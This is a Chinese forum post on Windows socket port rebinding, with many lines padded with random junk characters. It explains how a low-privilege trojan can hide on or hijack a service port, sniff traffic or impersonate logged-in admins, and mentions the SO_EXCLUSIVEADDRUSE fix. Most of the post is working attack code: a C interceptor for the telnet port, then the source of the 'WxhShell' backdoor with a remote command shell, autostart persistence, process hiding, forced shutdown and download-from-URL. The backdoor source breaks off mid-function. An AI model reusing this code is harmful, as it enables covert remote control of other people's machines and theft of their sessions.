社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9883阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: npD`9ff  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R<-u`uX nP  
vSf ?o\O  
  saddr.sin_family = AF_INET; _5%NG 3c  
F4T}HY>nZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w4UaWT1J  
Q+ tUxa+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U.mVz,k3  
Za4X ;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iT;~0XU7F  
[@RJ2q$  
  这意味着什么?意味着可以进行如下的攻击: J#OiY  
JxlU=7cF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <.6bni )  
6&Al9+$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Frxim  
h0v4!`PQ-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XC NM  
E/[<} ./  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y;1 'hP&  
s'Op|`&X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]`S35b  
s2'] "wM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &t0toEj  
} eL*gy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _ U%fD|t  
.&R j2d  
  #include }% m:^*@$9  
  #include [`'[)B  
  #include L4wKG&  
  #include    %?`TyVt&0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QL{{GQ_dn  
  int main() v\;hI5WY  
  { h4\j=Np  
  WORD wVersionRequested; 265sNaX  
  DWORD ret; #^Io9dA h  
  WSADATA wsaData; 6n}5>GSF  
  BOOL val;  <m7T`5+  
  SOCKADDR_IN saddr; WOgPhJ  
  SOCKADDR_IN scaddr; @m bR I0  
  int err; 2:>|zmh_  
  SOCKET s; xbeVq P  
  SOCKET sc; B"9/+Yj  
  int caddsize; 5qx,b&^w  
  HANDLE mt; K.{:H4_  
  DWORD tid;   Z\@m_ /g  
  wVersionRequested = MAKEWORD( 2, 2 ); I,pI2  
  err = WSAStartup( wVersionRequested, &wsaData ); +d=cI  
  if ( err != 0 ) { |i-d#x8  
  printf("error!WSAStartup failed!\n"); B > sTM  
  return -1; ?cF-w!>o8  
  } \@ j YY~  
  saddr.sin_family = AF_INET; nKP[U=ac  
   Ba]J3Yp,z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ig*qn# Dd  
U <|h4'(@L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6)QJms  
  saddr.sin_port = htons(23); 'W>Zr}:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iTgv8  
  { T{VdlgL  
  printf("error!socket failed!\n"); E(l'\q'.  
  return -1; 2d`:lk%\  
  } N=`xoF  
  val = TRUE; AZi|85rN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >We:g Kxr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b<N962 q$q  
  { _Coh11  
  printf("error!setsockopt failed!\n"); T<\!7 RnLc  
  return -1; G31??L:<  
  } <o\2-fWvY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aeP 6JHj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jw^Pt~@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -wqnmK+G  
m3La;%aA0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xq.HR_\  
  { rTR4j>Ua~  
  ret=GetLastError(); Ai 9UB=[R  
  printf("error!bind failed!\n"); [^U#ic>cT  
  return -1; %kcyE<c  
  } D)u 9Y  
  listen(s,2); )7H s  
  while(1) g7-=kmr|V  
  { *t,J4c  
  caddsize = sizeof(scaddr); Bx>)i8P7i0  
  //接受连接请求 "HuV'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ##6_kcL:6G  
  if(sc!=INVALID_SOCKET) R-8/BTls7  
  { \U1fUrw$*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s /? &H-  
  if(mt==NULL) cP4K9:k  
  { )AX0x1I|E  
  printf("Thread Creat Failed!\n"); PhS`,I^Z  
  break; H| uvcvf  
  } -RSPYQjz  
  } ]lKQ wpX3  
  CloseHandle(mt); *TjolE~o  
  } T2nbU6H  
  closesocket(s); 7H1 ii   
  WSACleanup(); t:|+U:! >  
  return 0; s?.A $^t  
  }   b`4R`mo  
  DWORD WINAPI ClientThread(LPVOID lpParam) X C jYm  
  { HhmC+3w.7  
  SOCKET ss = (SOCKET)lpParam; E%f;Z7G  
  SOCKET sc; rY 0kzD/  
  unsigned char buf[4096]; 3M nm2*\  
  SOCKADDR_IN saddr; k#4%d1O}  
  long num; Q}?yj,D D  
  DWORD val; :oH~{EQ  
  DWORD ret; Llf |fayq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (ei;Y~i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >@2l/x8;  
  saddr.sin_family = AF_INET; Dn 6k,nVh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s[V$f vW  
  saddr.sin_port = htons(23); <By6%<JTn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L=. 4x=%%  
  { ?a h<Qf]  
  printf("error!socket failed!\n"); =ZsM[wd  
  return -1; j4au Zl]NF  
  } @aG1PG{  
  val = 100; g[rxK n\Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x,s Ma*vd  
  { a:PS}_.  
  ret = GetLastError(); Z=ayVsJ3  
  return -1; q<YteuZJ,  
  } ,1\nd{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vZdn  
  { CvCk#:@HM  
  ret = GetLastError(); Q]';1#J\  
  return -1; T;eA<,H  
  } Su<Ggv"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Pez 7HKW:  
  { Xwg|fr+p  
  printf("error!socket connect failed!\n"); iY=M67V  
  closesocket(sc); lWv3c!E`  
  closesocket(ss); >H@ zP8  
  return -1; 'L*nC T;  
  } #?xhfSgr  
  while(1) RLypWjMx$  
  { hcw)qB,s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KzQ\A!qG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _YXk ,ME!Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6]i"lqb  
  num = recv(ss,buf,4096,0); 8{5Y%InL  
  if(num>0) Hev S}L  
  send(sc,buf,num,0); &%~2Wm  
  else if(num==0) {iP^51fy  
  break; Lm kv .XF  
  num = recv(sc,buf,4096,0); RVFQ!0 C  
  if(num>0) `laaT5G\y  
  send(ss,buf,num,0); <a-I-~  
  else if(num==0) or_x0Q  
  break; XE_|H1&j  
  } tHSe>*eC  
  closesocket(ss); ,3G8afo  
  closesocket(sc); EDR;" G(N  
  return 0 ; `;7^@k  
  } /znW$yh o  
,}!OJyT  
(k9{&mPJ  
========================================================== ]Dm'J%P0}  
|-N\?N9"  
下边附上一个代码,,WXhSHELL &zsaVm8  
7xP>AU)y  
========================================================== s(Of EzsH=  
'`q&UPg]  
#include "stdafx.h" L\||#w   
DLYk#d: q?  
#include <stdio.h> 0]l _qxv  
#include <string.h> V#?GDe}[  
#include <windows.h> OO@ (lt  
#include <winsock2.h> =,0E]M Z  
#include <winsvc.h> QN_Zd@K*A  
#include <urlmon.h> @ 8yV15!  
:CO>g=`  
#pragma comment (lib, "Ws2_32.lib") >]q{vKCAP  
#pragma comment (lib, "urlmon.lib") hKw4[wB]  
;BV1E|j  
#define MAX_USER   100 // 最大客户端连接数 7:U^Ki  
#define BUF_SOCK   200 // sock buffer <4z |"(  
#define KEY_BUFF   255 // 输入 buffer (W3~r  
.jRp.U  
#define REBOOT     0   // 重启 8kQ >M  
#define SHUTDOWN   1   // 关机 Vx@JP93|  
 k%V#{t.  
#define DEF_PORT   5000 // 监听端口 Z~^)B8  
`7qZ6Z3z@  
#define REG_LEN     16   // 注册表键长度 WJ$D]7  
#define SVC_LEN     80   // NT服务名长度 ANEW^\  
=Mb!&qq  
// 从dll定义API ]}2+yK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V`Z-m-V~1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *.wX9g9\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ahNpHTPa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B1>aR 7dsf  
&wsxH4  
// wxhshell配置信息 / %}Xiqlrd  
struct WSCFG { q]3bGO;  
  int ws_port;         // 监听端口 9L;fT5Tp7  
  char ws_passstr[REG_LEN]; // 口令 C-/<5D j  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1BK-uv:  
  char ws_regname[REG_LEN]; // 注册表键名 Xc;W9e(U  
  char ws_svcname[REG_LEN]; // 服务名 OosxuAC(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tj}H3/2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J[rpMQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <zE,T@c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T+7O+X#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" won;tO]\;@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m @) ~.E  
b: UTq 7^  
}; [(U:1&x &  
M=hxOta  
// default Wxhshell configuration H%`Ja('"p  
struct WSCFG wscfg={DEF_PORT, nZe2bai  
    "xuhuanlingzhe", /k3v\Jq{  
    1, s^F6sXhyPi  
    "Wxhshell", W'w;cy:H  
    "Wxhshell", BtS#I[-p_  
            "WxhShell Service", 5q<AMg  
    "Wrsky Windows CmdShell Service", Lu!o!>b  
    "Please Input Your Password: ", :B?C~U k  
  1, jovI8Dw >  
  "http://www.wrsky.com/wxhshell.exe", UN'[sHjOnD  
  "Wxhshell.exe" +CL`]'~;E-  
    }; 8SII>iL{  
!L4Vz7 C  
// 消息定义模块 [F4] pR(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fQcJyX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CAdqoCz|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %"|I` m  
char *msg_ws_ext="\n\rExit."; s Wk92x _l  
char *msg_ws_end="\n\rQuit."; b6sj/V8  
char *msg_ws_boot="\n\rReboot..."; 7M*&^P\}es  
char *msg_ws_poff="\n\rShutdown..."; "w.gP8`  
char *msg_ws_down="\n\rSave to "; ;5qZQ8`4  
Q$!dPwDg  
char *msg_ws_err="\n\rErr!"; 2mj?&p?  
char *msg_ws_ok="\n\rOK!"; F)_zR  
{2Jo|z  
char ExeFile[MAX_PATH]; rnW(<t"  
int nUser = 0; NO5\|.,Z  
HANDLE handles[MAX_USER]; KECo7i=e  
int OsIsNt; &5:83#*Oj  
qScc~i Oq  
SERVICE_STATUS       serviceStatus; 9<BC6M_/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X}*\/(fzl  
8UiRirw  
// 函数声明 o NX-vN-  
int Install(void); 2fIHFo\8  
int Uninstall(void); /<7'[x<  
int DownloadFile(char *sURL, SOCKET wsh); ?7>G\0G  
int Boot(int flag); KITC,@xE_O  
void HideProc(void); )Y.H*ca  
int GetOsVer(void); PhTMXv<cE  
int Wxhshell(SOCKET wsl); [?z`XY_-  
void TalkWithClient(void *cs); s`Z | A  
int CmdShell(SOCKET sock); .!|\Y!]^r  
int StartFromService(void); jroR 2*  
int StartWxhshell(LPSTR lpCmdLine); 0;9X`z J  
5=Cea  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r]JV !'R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jpijnz{M  
BN??3F8C  
// 数据结构和表定义 i+rh&,  
SERVICE_TABLE_ENTRY DispatchTable[] = ]\DZW4?'  
{ G`1!SEae  
{wscfg.ws_svcname, NTServiceMain}, }7)iLfi  
{NULL, NULL} Z !HQ|')N5  
}; H,8HGL[l  
L\;n[,.  
// 自我安装 "m2g"x a\7  
int Install(void) ndW]S7  
{ _{$eOwB  
  char svExeFile[MAX_PATH]; t!^ j0q  
  HKEY key; "u29| OY  
  strcpy(svExeFile,ExeFile); :(7icHa  
(%p@G5GU  
// 如果是win9x系统,修改注册表设为自启动 8zhr;Srt  
if(!OsIsNt) { w)xiiO[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h"O4r8G}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >JOEp0J  
  RegCloseKey(key); ,j3Yvn W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a6Zg~>vX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j _]#Ew\q  
  RegCloseKey(key); r xlKoa  
  return 0; T,G38  
    } pE&'Xr#P>  
  } -d'swx2aZ!  
} 3` ,u^ w  
else { s>pM+PoGYd  
J  ZH~ {  
// 如果是NT以上系统,安装为系统服务 hB[VU ";  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ht`kmk;I)  
if (schSCManager!=0)  ylTX  
{ P|U9f6^3  
  SC_HANDLE schService = CreateService `IC2}IiF  
  ( 2Q bCH}  
  schSCManager, N$&)gI:  
  wscfg.ws_svcname, T( LlNq  
  wscfg.ws_svcdisp, u7>{#]  
  SERVICE_ALL_ACCESS, k`aHG8S\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RX])#=Cs  
  SERVICE_AUTO_START, Ec3TY<mVr  
  SERVICE_ERROR_NORMAL, #!yW)RG  
  svExeFile, ;q5.\m:  
  NULL,  =&8Cg  
  NULL, )#%v1rR  
  NULL, - K%hug  
  NULL, 1iLrKA  
  NULL e-E0Bp  
  ); 6j 2mr6o  
  if (schService!=0) J ?y0R X  
  { f3;.+hJ])  
  CloseServiceHandle(schService); 1 r9.JS  
  CloseServiceHandle(schSCManager); zEBUR%9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b=$(`y  
  strcat(svExeFile,wscfg.ws_svcname); UiE 1TD{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Bjc<d,]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \bXusLI!l  
  RegCloseKey(key); (JX 9c  
  return 0; /^M|$JRI  
    } MP6Py@J45  
  } ;N(9nX}%)  
  CloseServiceHandle(schSCManager); Z%m\/wr  
} GS)4,.  
} c9/&A  
L9} %tEP  
return 1; IIh \ d.o  
} xq@_' 3X  
H*KZZTKd  
// 自我卸载 ` zoC++hx  
int Uninstall(void) qmy3pnL  
{ cLm|^j/  
  HKEY key; ;${_eab ]  
pP|LSr Y!  
if(!OsIsNt) { A6S|pO1)3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4N K{RN3  
  RegDeleteValue(key,wscfg.ws_regname); \2#j1/d4  
  RegCloseKey(key); l>D!@`><I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qGkD] L  
  RegDeleteValue(key,wscfg.ws_regname); 9er0Ww.d  
  RegCloseKey(key); :jHDeF.A  
  return 0; 5fDp"-  
  } EvGKcu  
} D/oO@;`'c  
} !;%+1j?d  
else { `:*O8h~i^8  
?#0m[k&`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3uy^o  
if (schSCManager!=0) W*WSjuFr2  
{ J#) %{k_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h8 !(WO!  
  if (schService!=0) ^3O`8o  
  { 8{B]_: -:  
  if(DeleteService(schService)!=0) { $ISx0l~  
  CloseServiceHandle(schService); f?BApm  
  CloseServiceHandle(schSCManager); N= G!r  
  return 0; ., =\/ C<  
  } c2~oPUj  
  CloseServiceHandle(schService); [kKg?I$D@B  
  } [,TK"  
  CloseServiceHandle(schSCManager); o?`^ UG-   
} L7"B`oa(p  
} #>_5PdO  
?Zh,W(7W  
return 1; XY)I~6$Y  
} 79d< ,q;uR  
Sau?Y  
// 从指定url下载文件 [J\! 2\Oo  
int DownloadFile(char *sURL, SOCKET wsh) g!I0UAm  
{ <tI_u ~P  
  HRESULT hr; 2q}lSa7r  
char seps[]= "/"; QdK PzjA  
char *token; )\m%&EXG{  
char *file; L a8D%N  
char myURL[MAX_PATH]; YgR}y+q^6  
char myFILE[MAX_PATH]; <!a%GI  
_%@ri]u{ov  
strcpy(myURL,sURL); |y DaFv  
  token=strtok(myURL,seps); E HH+)mlo  
  while(token!=NULL) #v\o@ArX  
  { V]W-**j<  
    file=token; l|L ]==M  
  token=strtok(NULL,seps); VpyqVbx1  
  } EXizRL-9o  
uGY(`  
GetCurrentDirectory(MAX_PATH,myFILE); LA4,o@V`  
strcat(myFILE, "\\"); vT;~\,M  
strcat(myFILE, file); Cm%xI& Y  
  send(wsh,myFILE,strlen(myFILE),0); 7*(K%e"U  
send(wsh,"...",3,0); w\%AR1,rs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tk66Ggi[K  
  if(hr==S_OK) fD~f_Wr  
return 0; 8c<OX!  
else a"!r]=r  
return 1; /c!@ H(^)  
gxCl=\  
} W.7XShwd*2  
il~A(`+YO  
// 系统电源模块 Jl-:@[;  
int Boot(int flag) 2@>#?c7  
{ )~C+nb '6/  
  HANDLE hToken; It8s#oq8  
  TOKEN_PRIVILEGES tkp; -`ss7j&b3  
Co^GsUJ  
  if(OsIsNt) { 0I7 r{T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cL^r^kL("  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T u7}*vsR  
    tkp.PrivilegeCount = 1; .q5WK#^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eeCrHt4;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fYiof]v@_m  
if(flag==REBOOT) { :89AYqT"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6fV;V:1{  
  return 0; ij&T \):d  
} 2yPF'Q7u_.  
else { @2/ xu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6\NBU,lY  
  return 0; nEfQLkb[|  
} i _YJq;(  
  } m:]60koz]o  
  else { LLd5Z44v  
if(flag==REBOOT) {  `s~[q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H{+[ ,l  
  return 0; ;hCUy=m.  
} @!,W]?{  
else { _\u?]YTv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d#u*NwY}  
  return 0; ]^v*2!_(  
}  li  
} fT0+i nRG  
cjc1iciZ  
return 1; >{ .|Ng4K  
} Fh~ pB>t  
L%31>)8  
// win9x进程隐藏模块 6rh^?B  
void HideProc(void) H57wzG{xG  
{ `8b4P>';O'  
n|) JhXQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FSHC\8siS  
  if ( hKernel != NULL ) s/0~!0  
  { &e;GoJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8=WX`*-uH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (dQsR sA  
    FreeLibrary(hKernel); ]<:qMLg  
  } _g%h:G&^  
A*TO0L  
return; :nn(Ndlz9  
} p.x!dt\1kC  
uTRFeO>  
// 获取操作系统版本 3<X*wVi)NN  
int GetOsVer(void) vhL/L?NB$  
{ 7qEc9S@  
  OSVERSIONINFO winfo; df7 xpV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f1 Zj:3e  
  GetVersionEx(&winfo); /m8&E*+T1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  b =R9@!  
  return 1; 4nU+Wj?T  
  else \KkAU6  
  return 0; \><v1x>;  
} #jT=;G7f2  
|s, Add:S  
// 客户端句柄模块 OJXK]dZ  
int Wxhshell(SOCKET wsl) aJSBG|IC  
{ 9 M!U@>  
  SOCKET wsh; ]Aa.=  
  struct sockaddr_in client; 'I5~<"E  
  DWORD myID; <gjA(xT5  
v|GDPq  
  while(nUser<MAX_USER) 2_ CJV  
{ y9X1X{  
  int nSize=sizeof(client); ?vV&tqnx%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^8{:RiN6e~  
  if(wsh==INVALID_SOCKET) return 1; i~uoK7o|G  
]=jpqxlx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OG{vap)  
if(handles[nUser]==0) DW0UcLO  
  closesocket(wsh); DRmN+2I  
else }D*5PV%d  
  nUser++; ,xuA%CF-S  
  } epQdj=h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '<%;Nv  
T}y@ a^#  
  return 0; Nj$h/P  
} s#%P9A  
S%2qX"8  
// 关闭 socket <S(`e/#[  
void CloseIt(SOCKET wsh) }o2e&.$4d  
{ +~!\;71:f  
closesocket(wsh); oh.8WlI  
nUser--; #6F/:j;  
ExitThread(0); :y3e-lr  
} ILMXWw  
7N}==T89[  
// 客户端请求句柄 [hXnw'Im/  
void TalkWithClient(void *cs) )=6o  ,  
{ #({ 9M  
Gu5%Pou  
  SOCKET wsh=(SOCKET)cs; Z{rD4S @^  
  char pwd[SVC_LEN]; ,Ep41v;T%`  
  char cmd[KEY_BUFF]; LRKl3"M  
char chr[1]; CINC1Ll_24  
int i,j; 6/l{e)rX2o  
)~=g}&  
  while (nUser < MAX_USER) { N^xk.O_TO  
AlhPT (  
if(wscfg.ws_passstr) { ~WX40z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P= nu&$;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^^{7`X u  
  //ZeroMemory(pwd,KEY_BUFF); * $v`5rP  
      i=0; UQ.DKUg  
  while(i<SVC_LEN) { ))eQZ3ap9  
:JfT&YYi"  
  // 设置超时 Nk@ag)  
  fd_set FdRead; ;SVAar4r  
  struct timeval TimeOut; N]7#Q.(~  
  FD_ZERO(&FdRead); +nm?+ F  
  FD_SET(wsh,&FdRead); >%Nqgn$V  
  TimeOut.tv_sec=8; khS >  
  TimeOut.tv_usec=0; boWaH}?0'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~pve;(e=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5_E,x  
dBM> ;S;v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `cn}}1Lg]  
  pwd=chr[0]; i[rXs/]  
  if(chr[0]==0xd || chr[0]==0xa) { Lk:Sju  
  pwd=0; v&}^8j  
  break; ,<,#zG[.  
  } Yb=Z `)  
  i++; Lzy Ix!S  
    } r E<Ou"  
Ub| -Q  
  // 如果是非法用户,关闭 socket :9f/d;Mo3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L6IF0`M<,I  
} eO?@K$I  
- A)XYz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); " UxKG+   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x>*#cOVz;C  
BY!M(X jrZ  
while(1) { M?m)<vMr*  
.C?rToCY  
  ZeroMemory(cmd,KEY_BUFF); c/ s$*"  
^yp`<=  
      // 自动支持客户端 telnet标准   i)mQ?Y#o  
  j=0; \*.u (8~2o  
  while(j<KEY_BUFF) { bZ_vb? n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5dem~YY5  
  cmd[j]=chr[0]; d;WXlE;  
  if(chr[0]==0xa || chr[0]==0xd) { z57|9$h}w  
  cmd[j]=0; L"ob ))GF  
  break; ,V{Cy`bi  
  } ;+Uc} =  
  j++; ua HB\Uc  
    } gaa;PX  
#(f- cK  
  // 下载文件 V/CZcMY_  
  if(strstr(cmd,"http://")) { SRBQ"X[M2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `8<h aU  
  if(DownloadFile(cmd,wsh)) Kta7xtu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); siK:?A@4D  
  else fkW TO"f-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @l^BW*BCo  
  } 6O# xV:Uc<  
  else { ~ $QNp#dq  
HI*j6H?\  
    switch(cmd[0]) { $ ";NS6 1  
  ~L ufHbr  
  // 帮助 , \ 6*fXc  
  case '?': { KQv97#n1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ub9p&=]h  
    break; 04wO9L;  
  } BkcA_a:W  
  // 安装 |*[#Iii'  
  case 'i': { ds|L'7  
    if(Install()) <|R`N)AV;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ki{]5Rz  
    else 'H.,S_v1x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $9m>(b/;n  
    break; ^s[OvJb  
    } $TR#-q  
  // 卸载 V-.Nc#  
  case 'r': { D8,V'n>L  
    if(Uninstall()) d-BUdIz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wrmbOT  
    else $(JB"%S8c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9m:G8j'  
    break; nD/; Gq  
    } (TQhO$,  
  // 显示 wxhshell 所在路径 C#Y_La  
  case 'p': { u~VvGLFf5,  
    char svExeFile[MAX_PATH]; [H&Z / .{F  
    strcpy(svExeFile,"\n\r"); ];VJ54  
      strcat(svExeFile,ExeFile); "O j2B|:s&  
        send(wsh,svExeFile,strlen(svExeFile),0); 6-vQQ-\  
    break; - BE.a<  
    } .6xIg+  
  // 重启 6Lhfb\2?  
  case 'b': { cc_v4d{x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gHe%N? '  
    if(Boot(REBOOT)) 3Sclr/t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VGtKW kVH  
    else { jUg.Y98  
